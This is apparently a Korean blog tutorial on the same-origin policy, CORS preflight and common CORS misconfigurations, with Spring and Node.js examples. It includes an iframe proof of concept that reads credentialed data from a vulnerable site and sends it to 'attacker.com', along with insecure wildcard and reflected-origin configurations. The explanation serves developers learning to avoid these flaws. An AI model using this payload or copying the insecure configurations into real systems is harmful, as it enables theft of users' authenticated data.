
sop와 cors를 알기 전에, 출처(origin)를 알아야 합니다.
출처란,
이 같아야 같은 출처라고 불릴 수 있습니다.
예시)
http://www.naver.com 과 https://naver.com은 프로토콜이 달라 다른 출처 입니다.https://naver.com과 https://naver.com/map 은 출처 내 경로만 다른 경우로, 같은 출처입니다.https://naver.com와 https://naver.com?login=true는 같은 출처에 쿼리가 붙은 형태입니다.sop는 다른 출처의 자원과 어떻게 상호작용할지 정해놓은 정책을 의미합니다. 대부분 '같은 출처가 아니면 자원을 허용하지 않는다'라고 알고 있지만, 의외로 허용되는 리소스들이 있습니다.
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#cross-origin_network_access
대충, script, link, img, video, audio 정도의 태그에 해당하는 소스는 cross origin이 허용됩니다. 하지만, 이외로 외부 출처에서 리소스를 가져오는 것은 제한하고 있습니다.
브라우저에서 cors헤더 검사를 하여 요청을 통과 시키거나, 오리진이 같은지 검사합니다. 신기한 점은, 브라우저단에서의 차단이여서 서버간의 통신은 자유롭다는 것입니다. 그래서 Proxy 서버를 통해 서로의 리소스를 받는 경우도 있다고 합니다.
-> 즉, 해커의 스크립트를 통해 제 3의 엔드포인트에서 원하는 동작을 실행 할 수 있다는 것!
-> 근데 이게 웹서비스를 만들면서 서버와 클라이언트간의 통신도 위배된다고 보고 리소스 공유를 막게 됩니다.
-> 그럼 이게 인터넷인가?
그래서, 브라우저는 출처가 다르더라도 통과 시켜줄 정책이 필요해 집니다. cors를 통해서 특정 엔드포인트에서 리소스를 주고 받을 수 있게 됩니다.
cors 정책을 지키기 위해 모든 본 통신 앞에 preflight 요청을 주고 받습니다. 이 요청은 Get, Post같은 요청이 아니라, OPTION이라는 요청을 사용합니다.
브라우저는 Preflight 통신 Header에 Origin을 추가한다.
Access-Control-Request-Method에 본 통신에 사용될 요청을 적는다.
Access-Control-Request-Headers 헤더에 실제 요청에 사용할 헤더들을 설정한다
서버는 이 예비 요청에 대한 응답으로 어떤 것을 허용하고 어떤 것을 금지하고 있는지에 대한 헤더 정보를 담아서 브라우저로 보내준다. (Access-Control-Allow-Origin, Methods, etc..)
이후 브라우저는 보낸 요청과 서버가 응답해준 정책을 비교하여, 해당 요청이 안전한지 확인하고 본 요청을 보내게 된다.
물론 위 과정이 번거롭고 리소스를 많이 잡아 먹는 문제가 있어, 브라우저 단에서 적절히 캐싱해 최적화를 해준다.
서버에서 Access-Control-Allow-Origin/Method/Header를 설정해줘야 브라우저에서 요청을 통과시켜 준다.
// 스프링 서버 전역적으로 CORS 설정
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOrigins("http://localhost:8080", "http://localhost:8081") // 허용할 출처
.allowedMethods("GET", "POST") // 허용할 HTTP method
.allowCredentials(true) // 쿠키 인증 요청 허용
.maxAge(3000) // 원하는 시간만큼 pre-flight 리퀘스트를 캐싱
}
}
아무리 잘 만든 정책이라도 허점이 있기 마련이다. 다행히 cors의 문제점은 휴먼 에러인 경우가 많다. 개발자가 행복하게 코딩하면 보안도 행복해 진다는 것 꼭 명심하자.
// 스프링 서버 전역적으로 CORS 설정
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOrigins("**")
.allowedMethods("GET", "POST") // 허용할 HTTP method
.allowCredentials(true) // 쿠키 인증 요청 허용
.maxAge(3000) // 원하는 시간만큼 pre-flight 리퀘스트를 캐싱
}
}
/* Node.js */
app.get('/users', (req, res) => {
res.header("Access-Control-Allow-Origin", req.headers.origin);
// ...
}
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open('get', 'https://vulnerable.com/path_to_get_data', true); // 취약한 서버로 ajax 요청을 보냄
xhr.withCredentials = true;
xhr.send();
function reqListener() {
location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText);
};
</script>">
</iframe>
iframe은 쉽게 말해서 외부에서 스크립트를 받을 수 있게 만든 태그이다. iframe이 실린 html이 프록시 역할을 하여 cors를 피할 수 있게 한다.
정규식은 특별히 관리를 잘 해야하고, edge case를 민감하게 관리해야 한다.
const regex = /[a-z]+.example.com/g
정규표현식에서 . 는 모든 문자를 의미하기 때문에,
/// 허용된 출처
www.example.com
blog.ecample.com
email.example.com
///공격 가능한 출처
hackerexample.com
superexample.com
해커는 해당 도메인만 구한다면 서버 리소스에 쉽게 접근 할 수 있게 되는 것이다.
그래서, 사실 출처는 하드코딩을 해서 관리 하는 것이 베스트인것 같다!